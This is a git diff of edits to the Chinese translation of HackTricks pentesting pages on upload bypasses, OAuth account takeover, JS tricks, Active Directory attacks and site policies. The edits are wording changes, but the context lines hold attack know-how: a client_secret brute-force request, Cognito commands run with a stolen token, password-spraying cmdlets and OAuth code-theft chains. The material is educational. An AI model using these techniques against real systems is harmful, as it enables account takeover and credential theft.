-3. **使用十六进制编辑器或 vi 进行修改**:使用 vi 或十六进制编辑器更改 zip 内部文件的名称,将 "xxA" 更改为 "../" 以遍历目录。
+3. **使用十六进制编辑器或 vi 修改**:使用 vi 或十六进制编辑器更改 zip 内部文件的名称,将 "xxA" 更改为 "../" 以遍历目录。
```bash
:set modifiable
@@ -291,17 +291,17 @@ pop graphic-context
在PNG文件的IDAT块中嵌入PHP shell可以有效绕过某些图像处理操作。PHP-GD中的`imagecopyresized`和`imagecopyresampled`函数在此上下文中特别相关,因为它们通常用于调整和重采样图像。嵌入的PHP shell能够不受这些操作影响,这对某些用例来说是一个显著的优势。
-关于此技术的详细探讨,包括其方法论和潜在应用,详见以下文章:["Encoding Web Shells in PNG IDAT chunks"](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/)。该资源提供了对该过程及其影响的全面理解。
+以下文章提供了对该技术的详细探讨,包括其方法论和潜在应用:["在PNG IDAT块中编码Web Shells"](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/)。该资源提供了对该过程及其影响的全面理解。
更多信息在:[https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/)
## 多格式文件
-多格式文件在网络安全中作为一种独特工具,像变色龙一样可以同时有效存在于多种文件格式中。一个有趣的例子是[GIFAR](https://en.wikipedia.org/wiki/Gifar),它既可以作为GIF文件,也可以作为RAR归档文件。这类文件并不限于这种组合;像GIF和JS或PPT和JS的组合也是可行的。
+多格式文件在网络安全中作为一种独特的工具,像变色龙一样可以同时有效地存在于多种文件格式中。一个有趣的例子是[GIFAR](https://en.wikipedia.org/wiki/Gifar),它既可以作为GIF文件,也可以作为RAR归档文件。这类文件并不限于这种组合;像GIF和JS或PPT和JS的组合也是可行的。
多格式文件的核心用途在于它们能够绕过基于类型的安全措施。各种应用中的常见做法是仅允许某些文件类型上传——如JPEG、GIF或DOC——以降低潜在有害格式(例如JS、PHP或Phar文件)带来的风险。然而,多格式文件通过符合多种文件类型的结构标准,可以悄然绕过这些限制。
-尽管它们具有适应性,但多格式文件确实面临限制。例如,虽然一个多格式文件可能同时包含PHAR文件(PHp ARchive)和JPEG,但其上传的成功可能取决于平台的文件扩展名政策。如果系统对允许的扩展名要求严格,仅仅是多格式文件的结构双重性可能不足以保证其上传。
+尽管它们具有适应性,多格式文件仍然面临限制。例如,虽然一个多格式文件可能同时包含PHAR文件(PHp ARchive)和JPEG,但其上传的成功可能取决于平台的文件扩展名政策。如果系统对允许的扩展名要求严格,仅仅是多格式文件的结构双重性可能不足以保证其上传。
更多信息在:[https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a](https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a)
diff --git a/src/pentesting-web/oauth-to-account-takeover.md b/src/pentesting-web/oauth-to-account-takeover.md
index 06bf5abd9..d2ace3381 100644
--- a/src/pentesting-web/oauth-to-account-takeover.md
+++ b/src/pentesting-web/oauth-to-account-takeover.md
@@ -6,19 +6,19 @@
OAuth 提供了多种版本,基础信息可在 [OAuth 2.0 documentation](https://oauth.net/2/) 中获取。本讨论主要集中在广泛使用的 [OAuth 2.0 授权码授权类型](https://oauth.net/2/grant-types/authorization-code/),提供一个 **授权框架,使应用程序能够访问或在另一个应用程序中执行用户账户的操作**(授权服务器)。
-考虑一个假设的网站 _**https://example.com**_,旨在 **展示您所有的社交媒体帖子**,包括私人帖子。为此,采用 OAuth 2.0。_https://example.com_ 将请求您的许可以 **访问您的社交媒体帖子**。因此,_https://socialmedia.com_ 上会出现一个同意屏幕,概述 **请求的权限和发起请求的开发者**。在您授权后,_https://example.com_ 获得 **代表您访问您的帖子** 的能力。
+考虑一个假设的网站 _**https://example.com**_,旨在 **展示您所有的社交媒体帖子**,包括私人帖子。为此,采用 OAuth 2.0。_https://example.com_ 将请求您 **访问您的社交媒体帖子** 的权限。因此,_https://socialmedia.com_ 上会出现一个同意屏幕,概述 **请求的权限和发起请求的开发者**。在您授权后,_https://example.com_ 获得 **代表您访问您的帖子** 的能力。
理解 OAuth 2.0 框架中的以下组件至关重要:
- **资源拥有者**:您,作为 **用户/实体**,授权访问您的资源,例如您的社交媒体账户帖子。
- **资源服务器**:在应用程序代表 `资源拥有者` 获取 `access token` 后,**管理经过身份验证请求的服务器**,例如 **https://socialmedia.com**。
-- **客户端应用程序**:**请求 `资源拥有者` 授权的应用程序**,例如 **https://example.com**。
+- **客户端应用程序**:向 `资源拥有者` 请求授权的 **应用程序**,例如 **https://example.com**。
- **授权服务器**:在成功验证 `资源拥有者` 并获得授权后,**向 `客户端应用程序` 发放 `access tokens` 的服务器**,例如 **https://socialmedia.com**。
- **client_id**:应用程序的公共唯一标识符。
- **client_secret**:仅为应用程序和授权服务器所知的机密密钥,用于生成 `access_tokens`。
- **response_type**:指定 **请求的令牌类型** 的值,例如 `code`。
- **scope**:`客户端应用程序` 请求的 **访问级别**。
-- **redirect_uri**:用户在授权后被重定向的 **URL**。这通常必须与预注册的重定向 URL 一致。
+- **redirect_uri**:用户在授权后被重定向的 **URL**。这通常必须与预注册的重定向 URL 对齐。
- **state**:一个参数,用于 **在用户重定向到授权服务器及返回时维护数据**。其唯一性对于作为 **CSRF 保护机制** 至关重要。
- **grant_type**:指示 **授权类型和要返回的令牌类型** 的参数。
- **code**:来自 `授权服务器` 的授权码,客户端应用程序与 `client_id` 和 `client_secret` 一起使用以获取 `access_token`。
@@ -27,7 +27,7 @@ OAuth 提供了多种版本,基础信息可在 [OAuth 2.0 documentation](https
### 流程
-**实际的 OAuth 流程**如下:
+**实际的 OAuth 流程** 如下:
1. 您导航到 [https://example.com](https://example.com) 并选择“与社交媒体集成”按钮。
2. 然后该网站向 [https://socialmedia.com](https://socialmedia.com) 发送请求,请求您的授权以让 https://example.com 的应用程序访问您的帖子。请求结构如下:
@@ -56,9 +56,9 @@ Host: socialmedia.com
### 开放的 redirect_uri
-`redirect_uri` 在 OAuth 和 OpenID 实现中对安全性至关重要,因为它指示在授权后敏感数据(如授权代码)发送到何处。如果配置错误,可能会允许攻击者将这些请求重定向到恶意服务器,从而实现账户接管。
+`redirect_uri` 对于 OAuth 和 OpenID 实现的安全性至关重要,因为它指示在授权后敏感数据(如授权代码)发送到何处。如果配置错误,可能会允许攻击者将这些请求重定向到恶意服务器,从而实现账户接管。
-利用技术根据授权服务器的验证逻辑而异。它们可以从严格的路径匹配到接受指定域或子目录内的任何 URL。常见的利用方法包括开放重定向、路径遍历、利用弱正则表达式和 HTML 注入进行令牌盗窃。
+利用技术根据授权服务器的验证逻辑而异。它们可以从严格的路径匹配到接受指定域或子目录内的任何 URL。常见的利用方法包括开放重定向、路径遍历、利用弱正则表达式和 HTML 注入进行令牌窃取。
除了 `redirect_uri`,其他 OAuth 和 OpenID 参数如 `client_uri`、`policy_uri`、`tos_uri` 和 `initiate_login_uri` 也容易受到重定向攻击。这些参数是可选的,其支持在不同服务器之间有所不同。
@@ -74,9 +74,9 @@ https://app.victim.com/login?redirectUrl=https://app.victim.com/dashboard
-识别和保护秘密的OAuth参数至关重要。虽然**`client_id`**可以安全披露,但泄露**`client_secret`**会带来重大风险。如果`client_secret`被泄露,攻击者可以利用应用程序的身份和信任来**窃取用户的`access_tokens`**和私人信息。
+识别和保护秘密OAuth参数至关重要。虽然**`client_id`**可以安全披露,但泄露**`client_secret`**会带来重大风险。如果`client_secret`被泄露,攻击者可以利用应用程序的身份和信任来**窃取用户的`access_tokens`**和私人信息。
一个常见的漏洞出现在应用程序错误地在客户端而非服务器端处理授权`code`与`access_token`的交换。这一错误导致`client_secret`的暴露,使攻击者能够以应用程序的名义生成`access_tokens`。此外,通过社会工程学,攻击者可以通过向OAuth授权添加额外的范围来提升权限,进一步利用应用程序的信任状态。
### 客户端密钥暴力破解
-您可以尝试**暴力破解服务提供商的client_secret**与身份提供者,以试图窃取账户。\
+您可以尝试通过身份提供者**暴力破解服务提供者的client_secret**以窃取账户。\
暴力破解的请求可能类似于:
```
POST /token HTTP/1.1
@@ -106,7 +106,7 @@ code=77515&redirect_uri=http%3A%2F%2F10.10.10.10%3A3000%2Fcallback&grant_type=au
```
### Referer Header leaking Code + State
-一旦客户端拥有了 **code 和 state**,如果它们在用户浏览到不同页面时 **反映在 Referer 头中**,那么就存在漏洞。
+一旦客户端拥有了 **code 和 state**,如果它们在浏览到不同页面时 **反映在 Referer 头中**,那么就存在漏洞。
### Access Token Stored in Browser History
@@ -126,7 +126,7 @@ code=77515&redirect_uri=http%3A%2F%2F10.10.10.10%3A3000%2Fcallback&grant_type=au
### AWS Cognito
-在这个漏洞赏金报告中:[**https://security.lauritz-holtmann.de/advisories/flickr-account-takeover/**](https://security.lauritz-holtmann.de/advisories/flickr-account-takeover/) 你可以看到 **AWS Cognito** 返回给用户的 **令牌** 可能具有 **足够的权限来覆盖用户数据**。因此,如果你可以 **将用户电子邮件更改为其他用户的电子邮件**,你可能能够 **接管** 其他账户。
+在这个漏洞赏金报告中:[**https://security.lauritz-holtmann.de/advisories/flickr-account-takeover/**](https://security.lauritz-holtmann.de/advisories/flickr-account-takeover/) 你可以看到 **AWS Cognito** 返回给用户的 **token** 可能具有 **足够的权限来覆盖用户数据**。因此,如果你可以 **将用户邮箱更改为其他用户邮箱**,你可能能够 **接管** 其他账户。
```bash
# Read info of the user
aws cognito-idp get-user --region us-east-1 --access-token eyJraWQiOiJPVj[...]
@@ -160,17 +160,17 @@ https://cloud.hacktricks.wiki/en/pentesting-cloud/aws-security/aws-unauthenticat
### 两个链接和 cookie
-根据 [**这篇文章**](https://medium.com/@metnew/why-electron-apps-cant-store-your-secrets-confidentially-inspect-option-a49950d6d51f),可以让受害者打开一个指向攻击者主机的 **returnUrl** 的页面。此信息将被 **存储在 cookie (RU)** 中,并且在 **后续步骤** 中,**提示** 将 **询问** **用户** 是否希望授予对该攻击者主机的访问权限。
+根据 [**这篇文章**](https://medium.com/@metnew/why-electron-apps-cant-store-your-secrets-confidentially-inspect-option-a49950d6d51f),可以让受害者打开一个指向攻击者主机的 **returnUrl** 的页面。此信息将被 **存储在 cookie (RU)** 中,在 **后续步骤** 中,**提示** 将 **询问** **用户** 是否希望授予对该攻击者主机的访问权限。
为了绕过此提示,可以打开一个选项卡以启动 **Oauth 流程**,该流程将使用 **returnUrl** 设置此 RU cookie,在提示显示之前关闭选项卡,然后打开一个没有该值的新选项卡。然后,**提示不会通知攻击者的主机**,但 cookie 将被设置为它,因此 **token 将在重定向中发送到攻击者的主机**。
### 提示交互绕过
-正如 [**在这段视频中解释的**](https://www.youtube.com/watch?v=n9x7_J_a_7Q),某些 OAuth 实现允许将 **`prompt`** GET 参数指示为 None (**`&prompt=none`**) 以 **防止用户在已登录平台时被要求确认** 在网页中授予的访问权限。
+正如 [**在这段视频中解释的**](https://www.youtube.com/watch?v=n9x7_J_a_7Q),某些 OAuth 实现允许将 **`prompt`** GET 参数指示为 None (**`&prompt=none`**) 以 **防止用户在已登录平台时被要求确认** 在网页上授予的访问权限。
### response_mode
-正如 [**在这段视频中解释的**](https://www.youtube.com/watch?v=n9x7_J_a_7Q),可能可以指示参数 **`response_mode`** 来指示您希望在最终 URL 中提供代码的位置:
+正如 [**在这段视频中解释的**](https://www.youtube.com/watch?v=n9x7_J_a_7Q),可能可以指示参数 **`response_mode`** 以指示希望在最终 URL 中提供代码的位置:
- `response_mode=query` -> 代码在 GET 参数中提供: `?code=2397rf3gu93f`
- `response_mode=fragment` -> 代码在 URL 片段参数中提供 `#code=2397rf3gu93f`
@@ -181,14 +181,14 @@ https://cloud.hacktricks.wiki/en/pentesting-cloud/aws-security/aws-unauthenticat
根据 [**这篇博客文章**](https://cybxis.medium.com/a-bypass-on-gitlabs-login-email-verification-via-oauth-ropc-flow-e194242cad96),这是一个允许通过 **用户名** 和 **密码** 登录 OAuth 的 OAuth 流程。如果在这个简单流程中返回一个具有用户可以执行的所有操作的访问权限的 **token**,那么就可以使用该 token 绕过 2FA。
-### 基于开放重定向到引荐的网页重定向 ATO
+### 基于开放重定向到引用者的网页重定向 ATO
-这篇 [**博客文章**](https://blog.voorivex.team/oauth-non-happy-path-to-ato) 评论了如何利用 **开放重定向** 从 **引荐** 的值来滥用 OAuth 进行 ATO。攻击步骤如下:
+这篇 [**博客文章**](https://blog.voorivex.team/oauth-non-happy-path-to-ato) 评论了如何利用 **开放重定向** 从 **引用者** 的值滥用 OAuth 进行 ATO。攻击步骤如下:
1. 受害者访问攻击者的网页
-2. 受害者打开恶意链接,打开者使用 `response_type=id_token,code&prompt=none` 作为附加参数启动 Google OAuth 流程,**引荐为攻击者网站**。
-3. 在打开者中,提供者在授权受害者后,将他们发送回 `redirect_uri` 参数的值(受害者网站),并带有 30X 代码,这仍然保持攻击者网站在引荐中。
-4. 受害者 **网站根据引荐触发开放重定向**,将受害者用户重定向到攻击者网站,因为 **`respose_type`** 是 **`id_token,code`**,代码将通过 URL 的 **片段** 返回给攻击者,从而使他能够通过 Google 在受害者网站上接管用户的帐户。
+2. 受害者打开恶意链接,打开者开始使用 `response_type=id_token,code&prompt=none` 作为附加参数的 Google OAuth 流程,引用者为 **攻击者网站**。
+3. 在打开者中,提供者在授权受害者后,将他们发送回 `redirect_uri` 参数的值(受害者网站),并带有 30X 代码,这仍然保持攻击者网站在引用者中。
+4. 受害者 **网站根据引用者触发开放重定向**,将受害者用户重定向到攻击者网站,因为 **`respose_type`** 是 **`id_token,code`**,代码将通过 URL 的 **片段** 返回给攻击者,从而使他能够通过 Google 在受害者网站上接管用户的帐户。
### SSRFs 参数
@@ -202,7 +202,7 @@ OAuth 中的动态客户端注册作为一个不太明显但关键的安全漏
- 此功能遵循 **RFC7591** 和 **OpenID Connect Registration 1.0** 中列出的规范,其中包括可能对 SSRF 易受攻击的参数。
- 注册过程可能会以多种方式无意中使服务器暴露于 SSRF:
- **`logo_uri`**:客户端应用程序 logo 的 URL,服务器可能会获取该 URL,从而触发 SSRF 或导致 XSS(如果 URL 处理不当)。
-- **`jwks_uri`**:客户端的 JWK 文档的 URL,如果恶意构造,可能导致服务器向攻击者控制的服务器发出外部请求。
+- **`jwks_uri`**:客户端 JWK 文档的 URL,如果恶意构造,可能导致服务器向攻击者控制的服务器发出外部请求。
- **`sector_identifier_uri`**:引用 `redirect_uris` 的 JSON 数组,服务器可能会获取该数组,从而创建 SSRF 机会。
- **`request_uris`**:列出客户端允许的请求 URI,如果服务器在授权过程开始时获取这些 URI,则可能被利用。
diff --git a/src/pentesting-web/xss-cross-site-scripting/other-js-tricks.md b/src/pentesting-web/xss-cross-site-scripting/other-js-tricks.md
index 0fbd65e58..93115a5b5 100644
--- a/src/pentesting-web/xss-cross-site-scripting/other-js-tricks.md
+++ b/src/pentesting-web/xss-cross-site-scripting/other-js-tricks.md
@@ -1,8 +1,8 @@
-# 杂项 JS 技巧与相关信息
+# Misc JS Tricks & Relevant Info
{{#include ../../banners/hacktricks-training.md}}
-## Javascript 模糊测试
+## Javascript Fuzzing
### 有效的 JS 注释字符
```javascript
@@ -281,7 +281,7 @@ plusone = (a) => a + 100
```
### Bind function
-bind 函数允许创建一个 **copy** 的 **function modifying** **`this`** 对象和给定的 **parameters**。
+bind 函数允许创建一个 **副本** 的 **函数,修改** **`this`** 对象和给定的 **参数**。
```javascript
//This will use the this object and print "Hello World"
var fn = function (param1, param2) {
@@ -328,7 +328,7 @@ return arguments.callee.toString()
return arguments[0]
})("arg0")
```
-一些**随机**方法来**提取代码**(甚至注释)从另一个函数:
+一些**随机**方法来**提取函数**的代码(甚至注释)从另一个函数:
```javascript
;(function () {
return (retFunc) => String(arguments[0])
@@ -348,7 +348,7 @@ return String(this)
/* Hidden commment */
})()
```
-## Sandbox Escape - 恢复 window 对象
+## Sandbox Escape - Recovering window object
Window 对象允许访问全局定义的函数,如 alert 或 eval。
```javascript
diff --git a/src/todo/cookies-policy.md b/src/todo/cookies-policy.md
index 12f1ab6fd..7f47ebed8 100644
--- a/src/todo/cookies-policy.md
+++ b/src/todo/cookies-policy.md
@@ -2,7 +2,7 @@
最后更新:02/04/2023
-### 介绍
+### Introduction
本Cookies政策适用于HackTricks团队(“HackTricks”,“我们”,“我们”或“我们的”)拥有和运营的以下网站:
@@ -13,33 +13,33 @@
通过使用这些网站中的任何一个,您同意根据本Cookies政策使用cookies。如果您不同意,请在浏览器设置中禁用cookies或避免使用我们的网站。
-### 什么是cookies?
+### What are cookies?
Cookies是当您访问网站时存储在您的计算机或移动设备上的小文本文件。它们被广泛用于使网站正常工作、改善其功能并提供更个性化的用户体验。
-### 我们如何使用cookies
+### How we use cookies
-我们在网站上使用cookies的目的如下:
+我们在我们的网站上使用cookies,目的如下:
-1. 必需的cookies:这些cookies对于我们网站的基本功能是必要的,例如启用用户身份验证、维护安全性和记住您的偏好设置。
-2. 性能cookies:这些cookies帮助我们了解访客如何与我们的网站互动,通过匿名收集和报告信息。这使我们能够改善网站性能和用户体验。
-3. 功能性cookies:这些cookies使我们的网站能够记住您所做的选择,例如您的语言或地区,以提供更个性化的体验。
-4. 定向/广告cookies:这些cookies用于根据您的兴趣、浏览历史和与我们网站的互动提供相关广告和营销通讯。
+1. Essential cookies: 这些cookies对于我们网站的基本功能是必要的,例如启用用户身份验证、维护安全性和记住您的偏好。
+2. Performance cookies: 这些cookies帮助我们了解访客如何与我们的网站互动,通过匿名收集和报告信息。这使我们能够改善网站性能和用户体验。
+3. Functionality cookies: 这些cookies使我们的网站能够记住您所做的选择,例如您的语言或地区,以提供更个性化的体验。
+4. Targeting/advertising cookies: 这些cookies用于根据您的兴趣、浏览历史和与我们网站的互动提供相关广告和营销通讯。
此外,页面book.hacktricks.wiki和cloud.hacktricks.wiki托管在Gitbook上。您可以在[https://gitbook-1652864889.teamtailor.com/cookie-policy](https://gitbook-1652864889.teamtailor.com/cookie-policy)找到有关Gitbook cookies的更多信息。
-### 第三方cookies
+### Third-party cookies
-除了我们自己的cookies,我们还可能使用第三方cookies来报告网站使用统计信息、投放广告和启用社交媒体分享按钮。第三方cookies的使用受其各自隐私政策的约束。
+除了我们自己的cookies,我们还可能使用第三方cookies来报告网站使用统计信息、投放广告和启用社交媒体分享按钮。使用第三方cookies受其各自隐私政策的约束。
-管理cookies
+Managing cookies
-大多数网页浏览器允许您通过其设置管理cookies。您可以选择阻止、删除或限制设备上cookies的使用。然而,请注意,禁用cookies可能会影响我们网站的功能和性能。
+大多数网络浏览器允许您通过其设置管理cookies。您可以选择阻止、删除或限制设备上cookies的使用。然而,请注意,禁用cookies可能会影响我们网站的功能和性能。
-本Cookies政策的变更
+Changes to this Cookies Policy
我们可能会不时更新本Cookies政策,以反映我们做法或相关法律的变化。我们鼓励您定期查看此页面,以获取有关我们cookie做法的最新信息。
-### 联系我们
+### Contact us
如果您对本Cookies政策有任何疑问或担忧,请通过[support@hacktricks.xyz](mailto:support@hacktricks.xyz)与我们联系。
diff --git a/src/welcome/hacktricks-values-and-faq.md b/src/welcome/hacktricks-values-and-faq.md
index 9dfeecc2e..be00ab161 100644
--- a/src/welcome/hacktricks-values-and-faq.md
+++ b/src/welcome/hacktricks-values-and-faq.md
@@ -15,7 +15,7 @@
> - 我们还在 HackTricks 中撰写 **我们自己的研究**。
> - 在某些情况下,我们将仅在 HackTricks 中写 **技术重要部分的摘要**,并 **鼓励读者访问原始帖子** 以获取更多细节。
> - **组织** 书中的所有黑客技术,使其 **更易获取**
-> - HackTricks 团队为 **仅仅组织内容** 而免费投入了数千小时,以便人们可以 **更快学习**
+> - HackTricks 团队为 **仅仅组织内容** 而免费投入了数千小时,以便人们能够 **更快学习**
@@ -33,7 +33,7 @@
>
> - **我该如何为该项目做贡献?**
-您可以 **与社区分享新的技巧和窍门或修复您在书中发现的错误**,向相应的 Github 页面发送 **Pull Request**:
+您可以 **与社区分享新的技巧和窍门或修复您在书中发现的错误**,通过向相应的 Github 页面发送 **Pull Request**:
- [https://github.com/carlospolop/hacktricks](https://github.com/carlospolop/hacktricks)
- [https://github.com/carlospolop/hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)
@@ -42,7 +42,7 @@
> [!TIP]
>
-> - **我可以复制一些 HackTricks 的内容并放在我的博客上吗?**
+> - **我可以复制 HackTricks 的一些内容并放在我的博客上吗?**
可以,但 **不要忘记提及具体的链接**,内容是从哪里获取的。
@@ -64,7 +64,7 @@ url = {\url{https://book.hacktricks.wiki/specific-page}},
>
> - **我可以在我的博客中复制所有HackTricks吗?**
-**我不建议这样做**。这对任何人都**没有好处**,因为所有的**内容已经在官方HackTricks书籍中免费公开**。
+**我不建议这样做**。这对任何人都**没有好处**,因为所有**内容已经在官方HackTricks书籍中免费公开**。
如果你担心它会消失,只需在Github上分叉或下载,如我所说,它已经是免费的。
@@ -76,7 +76,7 @@ url = {\url{https://book.hacktricks.wiki/specific-page}},
如果你认为HackTricks书籍是为了**商业目的**而制作的,你是**完全错误的**。
-我们有赞助商,因为即使所有内容都是免费的,我们也希望**给社区提供欣赏我们工作的可能性**,如果他们愿意。因此,我们提供人们通过[**Github赞助商**](https://github.com/sponsors/carlospolop)捐赠给HackTricks的选项,以及**相关的网络安全公司**赞助HackTricks并在书中**放置一些广告**,这些**广告**总是放在**可见**但**不干扰学习**过程的地方,以便有人专注于内容。
+我们有赞助商,因为即使所有内容都是免费的,我们也希望**给社区提供欣赏我们工作的可能性**,如果他们愿意。因此,我们提供人们通过[**Github赞助**](https://github.com/sponsors/carlospolop)捐赠给HackTricks的选项,以及**相关的网络安全公司**赞助HackTricks并在书中**放置一些广告**,这些**广告**总是放在**可见**但**不干扰学习**过程的地方,以便有人专注于内容。
你不会发现HackTricks充满了烦人的广告,就像其他内容远不如HackTricks的博客,因为HackTricks不是为了商业目的而制作的。
@@ -93,7 +93,7 @@ url = {\url{https://book.hacktricks.wiki/specific-page}},
请注意,在HackTricks中链接到你的页面:
- 改善你的**SEO**
-- 内容被**翻译成15种以上语言**,使更多人能够访问这些内容
+- 内容被**翻译成超过15种语言**,使更多人能够访问这些内容
- **HackTricks鼓励**人们**查看你的页面**(有几个人提到,自从他们的某个页面在HackTricks中后,他们的访问量增加了)
然而,如果你仍然希望从HackTricks中删除你博客的内容,请告知我们,我们将**删除所有指向你博客的链接**,以及任何基于它的内容。
@@ -134,7 +134,7 @@ This license does not grant any trademark or branding rights in relation to the
>
> 作者和出版商在任何情况下均不对因使用本书而导致的任何损失或损害承担责任,包括但不限于间接或后果性损失或损害,或因数据或利润损失而产生的任何损失或损害。
>
-> 此外,本书中描述的技术和技巧仅用于教育和信息目的,不应用于任何非法或恶意活动。作者和出版商不支持或纵容任何非法或不道德的活动,使用本书中包含的信息的风险和决定由用户自行承担。
+> 此外,本书中描述的技术和技巧仅供教育和信息目的,不应用于任何非法或恶意活动。作者和出版商不支持或纵容任何非法或不道德的活动,使用本书中包含的信息的风险和决定由用户自行承担。
>
> 用户对基于本书中包含的信息采取的任何行动负全部责任,并应在尝试实施本书中描述的任何技术或技巧时始终寻求专业建议和帮助。
>
diff --git a/src/windows-hardening/active-directory-methodology/README.md b/src/windows-hardening/active-directory-methodology/README.md
index 4b7f6bf8a..942fae2aa 100644
--- a/src/windows-hardening/active-directory-methodology/README.md
+++ b/src/windows-hardening/active-directory-methodology/README.md
@@ -69,7 +69,7 @@
- 收集凭据 **暴露** [**假 UPnP 服务与 evil-S**](../../generic-methodologies-and-resources/pentesting-network/spoofing-ssdp-and-upnp-devices.md)[**SDP**](https://medium.com/@nickvangilder/exploiting-multifunction-printers-during-a-penetration-test-engagement-28d3840d8856)
- [**OSINT**](https://book.hacktricks.wiki/en/generic-methodologies-and-resources/external-recon-methodology/index.html):
- 从内部文档、社交媒体、服务(主要是 Web)中提取用户名/姓名,以及从公开可用的信息中提取。
-- 如果您找到公司员工的完整姓名,您可以尝试不同的 AD **用户名约定**(**[阅读此文](https://activedirectorypro.com/active-directory-user-naming-convention/)**)。最常见的约定是:_NameSurname_、_Name.Surname_、_NamSur_(每个三个字母)、_Nam.Sur_、_NSurname_、_N.Surname_、_SurnameName_、_Surname.Name_、_SurnameN_、_Surname.N_、3 个 _随机字母和 3 个随机数字_(abc123)。
+- 如果您找到公司员工的完整姓名,您可以尝试不同的 AD **用户名约定**(**[阅读此文](https://activedirectorypro.com/active-directory-user-naming-convention/)**)。最常见的约定是:_NameSurname_、_Name.Surname_、_NamSur_(每个 3 个字母)、_Nam.Sur_、_NSurname_、_N.Surname_、_SurnameName_、_Surname.Name_、_SurnameN_、_Surname.N_、3 个 _随机字母和 3 个随机数字_(abc123)。
- 工具:
- [w0Tx/generate-ad-username](https://github.com/w0Tx/generate-ad-username)
- [urbanadventurer/username-anarchy](https://github.com/urbanadventurer/username-anarchy)
@@ -103,13 +103,13 @@ Invoke-PasswordSprayOWA -ExchHostname [ip] -UserList .\valid.txt -Password Summe
Get-GlobalAddressList -ExchHostname [ip] -UserName [domain]\[username] -Password Summer2021 -OutFile gal.txt
```
> [!WARNING]
-> 你可以在 [**这个 github 仓库**](https://github.com/danielmiessler/SecLists/tree/master/Usernames/Names) \*\*\*\* 和这个 ([**statistically-likely-usernames**](https://github.com/insidetrust/statistically-likely-usernames)) 找到用户名列表。
+> 你可以在 [**这个 GitHub 仓库**](https://github.com/danielmiessler/SecLists/tree/master/Usernames/Names) 和这个 ([**statistically-likely-usernames**](https://github.com/insidetrust/statistically-likely-usernames)) 中找到用户名列表。
>
-> 然而,你应该从之前的侦查步骤中获得 **公司员工的姓名**。有了名字和姓氏,你可以使用脚本 [**namemash.py**](https://gist.github.com/superkojiman/11076951) 来生成潜在的有效用户名。
+> 然而,你应该在之前的侦查步骤中获得 **公司员工的姓名**。有了名字和姓氏,你可以使用脚本 [**namemash.py**](https://gist.github.com/superkojiman/11076951) 来生成潜在的有效用户名。
### 知道一个或多个用户名
-好的,所以你知道你已经有一个有效的用户名,但没有密码……那么尝试:
+好的,你已经知道一个有效的用户名,但没有密码……那么尝试:
- [**ASREPRoast**](asreproast.md):如果用户 **没有** 属性 _DONT_REQ_PREAUTH_,你可以 **请求该用户的 AS_REP 消息**,其中将包含一些由用户密码的派生加密的数据。
- [**Password Spraying**](password-spraying.md):让我们尝试每个发现用户的 **常见密码**,也许某个用户使用了一个糟糕的密码(记住密码策略!)。
@@ -129,19 +129,19 @@ password-spraying.md
### NTML 中继
-如果你已经成功枚举了活动目录,你将拥有 **更多的电子邮件和对网络的更好理解**。你可能能够强制 NTML [**中继攻击**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md#relay-attack) \*\*\*\* 来访问 AD 环境。
+如果你已经成功枚举了活动目录,你将拥有 **更多的电子邮件和对网络的更好理解**。你可能能够强制 NTML [**中继攻击**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md#relay-attack) 来访问 AD 环境。
-### 偷取 NTLM 凭证
+### 窃取 NTLM 凭据
-如果你可以使用 **null 或访客用户** **访问其他 PC 或共享**,你可以 **放置文件**(如 SCF 文件),如果以某种方式被访问,将会 **触发对你的 NTML 认证**,这样你就可以 **偷取** **NTLM 挑战** 进行破解:
+如果你可以使用 **null 或访客用户** 访问其他 PC 或共享,你可以 **放置文件**(如 SCF 文件),如果以某种方式被访问,将会 **触发对你的 NTML 认证**,这样你就可以 **窃取** **NTLM 挑战** 进行破解:
{{#ref}}
../ntlm/places-to-steal-ntlm-creds.md
{{#endref}}
-## 使用凭证/会话枚举活动目录
+## 使用凭据/会话枚举活动目录
-在这个阶段,你需要 **获取有效域账户的凭证或会话。** 如果你有一些有效的凭证或作为域用户的 shell,**你应该记住之前给出的选项仍然是妥协其他用户的选项**。
+在这个阶段,你需要 **获取有效域账户的凭据或会话。** 如果你有一些有效的凭据或作为域用户的 shell,**你应该记住之前给出的选项仍然是妥协其他用户的选项**。
在开始经过身份验证的枚举之前,你应该知道 **Kerberos 双跳问题**。
@@ -162,7 +162,7 @@ kerberos-double-hop-problem.md
- **其他自动化 AD 枚举工具有:** [**AD Explorer**](bloodhound.md#ad-explorer)**,** [**ADRecon**](bloodhound.md#adrecon)**,** [**Group3r**](bloodhound.md#group3r)**,** [**PingCastle**](bloodhound.md#pingcastle)**.**
- [**AD 的 DNS 记录**](ad-dns-records.md),因为它们可能包含有趣的信息。
- 你可以使用 **AdExplorer.exe** 这个 **GUI 工具** 来枚举目录,来自 **SysInternal** 套件。
-- 你还可以使用 **ldapsearch** 在 LDAP 数据库中搜索凭证,查找字段 _userPassword_ 和 _unixUserPassword_,甚至是 _Description_。请参阅 [PayloadsAllTheThings 上的 AD 用户评论中的密码](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Active%20Directory%20Attack.md#password-in-ad-user-comment) 以获取其他方法。
+- 你还可以使用 **ldapsearch** 在 LDAP 数据库中搜索凭据,查找字段 _userPassword_ 和 _unixUserPassword_,甚至是 _Description_。请参阅 [PayloadsAllTheThings 中 AD 用户评论的密码](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Active%20Directory%20Attack.md#password-in-ad-user-comment) 了解其他方法。
- 如果你使用 **Linux**,你也可以使用 [**pywerview**](https://github.com/the-useless-one/pywerview) 枚举域。
- 你还可以尝试自动化工具,如:
- [**tomcarver16/ADSearch**](https://github.com/tomcarver16/ADSearch)
@@ -175,7 +175,7 @@ kerberos-double-hop-problem.md
### Kerberoast
-Kerberoasting 涉及获取 **TGS 票证**,这些票证由与用户账户相关的服务使用,并破解其加密——这基于用户密码——**离线**。
